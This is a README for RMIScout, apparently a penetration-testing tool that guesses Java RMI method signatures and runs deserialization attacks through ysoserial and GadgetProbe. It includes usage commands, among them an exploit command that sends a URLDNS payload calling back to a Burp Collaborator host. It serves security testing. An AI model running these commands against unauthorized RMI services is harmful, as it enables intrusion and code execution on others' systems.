RMIScout performs wordlist and bruteforce attacks against exposed Java RMI interfaces to safely guess method signatures without invocation.
On misconfigured servers, any known RMI signature using non-primitive types (e.g., java.lang.String), can be exploited by replacing the object with a serialized payload.
This is a fairly common misconfiguration (e.g., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server and Gemfire, Apache Karaf + Cassandra) as highlighted in An Trinh’s 2019 Blackhat EU talk.
RMIScout integrates with ysoserial and GadgetProbe to perform deserialization attacks against services incorrectly configuring process-wide serialization filters (JEP 290).
Motivation
I wanted a tool to do the following tasks:
ysoserial.payloads.ObjectPayload.To start off your search, the included lists/prototypes.txt wordlist is a deduplicated wordlist from 15,000 RMI prototypes found in OSS projects across GitHub. Feel free to submit a PR to include more 🙂
How it works?
To identify but not execute RMI functions, RMIScout uses low-level RMI network functions and dynamic class generation to send RMI invocations with deliberately mismatched types to trigger remote exceptions. All parameters are substituted for a dynamically generated serializable class with a 255-character name assumed to not exist in the remote class path. For example:
Remote Interface:
void login(String user, String password)
RMIScout will invoke:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
If the class is present this will result in a remote java.rmi.UnmarshalException cased by the ClassNotFoundException or argument unmarshalling error without invoking the underlying method.
Read a full technical writeup here.
Usage
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
# Bruteforce using method wordlist and other options
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
# Swap object-derived types with the specified ysoserial payload and payload parameter
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
Building & Running
Use the included rmiscout.sh script to automatically build the project and as a convenient wrapper around java -jar syntax:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternatively, build the project manually and use traditional java -jar syntax:
# Manually build JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.01-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Try It out
Run the demo RMI server. Try out the included demo/wordlist.txt.
cd demo
./start.sh
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